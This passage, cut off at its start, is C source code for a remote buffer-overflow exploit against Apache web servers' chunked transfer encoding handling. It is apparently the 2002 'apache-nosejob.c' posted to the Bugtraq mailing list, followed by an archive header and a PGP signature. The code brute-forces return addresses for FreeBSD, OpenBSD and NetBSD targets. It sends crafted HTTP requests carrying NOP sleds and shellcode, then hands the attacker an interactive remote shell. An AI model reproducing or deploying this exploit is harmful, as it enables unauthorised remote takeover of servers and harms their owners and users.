if((portp = strtok(NULL, ":")) == NULL)
portp = "80";
break;
/* predefined targets */
case 't':
if(atoi(optarg) >= sizeof(targets)/sizeof(victim)) {
printf("Invalid target\n");
return -1;
}
memcpy(&victim, &targets[atoi(optarg)],
sizeof(victim)); break;
/* bruteforce! */
case 'b':
bruteforce++;
victim.type = "Custom target";
victim.retaddr = strtoul(optarg, NULL, 16);
printf("Using 0x%lx as the baseadress while bruteforcing..\n", victim.retaddr);
break;
case 'd':
victim.delta = atoi(optarg);
printf("Using %d as delta\n", victim.delta);
break;
case 'r': victim.repretaddr = atoi(optarg);
printf("Repeating the return address %d
times\n", victim.repretaddr); break;
case 'z': victim.repzero = atoi(optarg);
printf("Number of zeroes will be %d\n",
victim.repzero); break;
case 'o':
bruteforce++;
switch(*optarg) {
case 'f':
victim.type = "FreeBSD";
victim.retaddr = 0x80a0000;
victim.delta = -150;
victim.repretaddr = 6;
victim.repzero = 36;
break;
case 'o':
victim.type = "OpenBSD";
victim.retaddr = 0x80000;
victim.delta = -146;
victim.repretaddr = 6;
victim.repzero = 36;
break;
case 'n':
victim.type = "NetBSD";
victim.retaddr = 0x080e0000;
victim.delta = -90;
victim.repretaddr = 5;
victim.repzero = 42;
break;
default:
printf("[-] Better luck next time!\n");
break;
}
break;
/* optional stuff */
case 'w':
sc_timeout = atoi(optarg);
printf("Waiting maximum %d seconds for replies from shellcode\n", sc_timeout);
break;
case 'c':
cmdz = optarg;
break;
default:
usage();
break;
}
}
if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero) {
printf("[-] Incomplete target. At least 1 argument is missing (nmap style!!)\n");
return -1;
}
printf("[*] Resolving target host.. ");
fflush(stdout);
he = gethostbyname(hostp);
if(he)
memcpy(&ia.s_addr, he->h_addr, 4);
else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) {
printf("There'z no %s on this side of the Net!\n", hostp);
return -1;
}
printf("%s\n", inet_ntoa(ia));
srand(getpid());
signal(SIGPIPE, SIG_IGN);
for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC) {
/* skip invalid return adresses */
if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4))
continue;
sock = socket(PF_INET, SOCK_STREAM, 0);
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = ia.s_addr;
sin.sin_port = htons(atoi(portp));
if(!progress)
printf("[*] Connecting.. ");
fflush(stdout);
if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
perror("connect()");
exit(1);
}
if(!progress)
printf("connected!\n");
p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT +
1024) * REP_SHELLCODE)
+ ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero
+ 1024) * REP_POPULATOR));
PUT_STRING("GET / HTTP/1.1\r\nHost: " HOST_PARAM
"\r\n");
for (i = 0; i < REP_SHELLCODE; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_3, PADDING_3);
PUT_STRING(": ");
PUT_BYTES(NOPCOUNT, NOP);
memcpy(p, shellcode, sizeof(shellcode) - 1);
p += sizeof(shellcode) - 1;
PUT_STRING("\r\n");
}
for (i = 0; i < REP_POPULATOR; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_1, PADDING_1);
PUT_STRING(": ");
for (j = 0; j < victim.repretaddr; j++) {
*p++ = victim.retaddr & 0xff;
*p++ = (victim.retaddr >> 8) & 0xff;
*p++ = (victim.retaddr >> 16) & 0xff;
*p++ = (victim.retaddr >> 24) & 0xff;
}
PUT_BYTES(victim.repzero, 0);
PUT_STRING("\r\n");
}
PUT_STRING("Transfer-Encoding: chunked\r\n");
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n",
PADSIZE_2); PUT_STRING(buf); PUT_BYTES(PADSIZE_2,
PADDING_2); snprintf(buf, sizeof(buf) - 1,
"\r\n%x\r\n", victim.delta); PUT_STRING(buf);
if(!shown_length) {
printf("[*] Exploit output is %u bytes\n", (unsigned int)(p - expbuf));
shown_length = 1;
}
write(sock, expbuf, p - expbuf);
progress++;
if((progress%70) == 0)
progress = 1;
if(progress == 1) {
printf("\r[*] Currently using retaddr 0x%lx", victim.retaddr);
for(i = 0; i < 40; i ++)
printf(" ");
printf("\n");
if(bruteforce)
putchar(';');
}
else
putchar(((rand()>>8)%2)? 'P': 'p');
fflush(stdout);
responses = 0;
while (1) {
fd_set fds;
int n;
struct timeval tv;
tv.tv_sec = sc_timeout;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);
memset(buf, 0, sizeof(buf));
if(select(sock + 1, &fds, NULL, NULL, owned? NULL : &tv) > 0) {
if(FD_ISSET(sock, &fds)) {
if((n = read(sock, buf, sizeof(buf) - 1)) < 0)
break;
if(n >= 1)
{
if(!owned)
{
for(i = 0; i < n; i ++)
if(buf[i] == 'G')
responses ++;
else
responses = 0;
if(responses >= 2)
{
owned = 1;
write(sock, "O", 1);
write(sock, cmdz, strlen(cmdz));
printf(" it's a TURKEY: type=%s, delta=%d, retaddr=0x%lx, repretaddr=%d, repzero=%d\n", victim.type, victim.delta, victim.retaddr, victim.repretaddr, victim.repzero);
printf("Experts say this isn't exploitable, so nothing will happen now: ");
fflush(stdout);
}
} else
write(1, buf, n);
}
}
if(FD_ISSET(0, &fds)) {
if((n = read(0, buf, sizeof(buf) - 1)) < 0)
exit(1);
write(sock, buf, n);
}
}
if(!owned)
break;
}
free(expbuf);
close(sock);
if(owned)
return 0;
if(!bruteforce) {
fprintf(stderr, "Ooops.. hehehe!\n");
return -1;
}
}
return 0;
}
(8632070) /<gobbles@hushmail.com>/--------(Ombruten)
8632071 2002-06-21 21:44 -0700 /9 rader/ <gobbles@hushmail.com>
Bilagans filnamn: "apache-nosejob.c.sig"
Importerad: 2002-06-22 08:28 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: da@securityfocus.com
Extern kopiemottagare: aleph1@securityfocus.com
Extern kopiemottagare: ah@securityfocus.com
Mottagare: Bugtraq (import) <22794>
Bilaga (text/plain) till text 8632069
Ärende: Bilaga (apache-nosejob.c.sig) till: Ending a few arguments with one simple attachment.
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.1
Note: This signature can be verified at https://www.hushtools.com
wj8DBQA9FAC8HNGnlyGZsA8RAiNZAJ90WUHBQjYg9KSyzZKz0WLddgOBggCcDfoh/DXN
oYWxbCu8gl2Cz2SUcrU=
=oZmB
-----END PGP SIGNATURE-----
(8632071) /<gobbles@hushmail.com>/------------------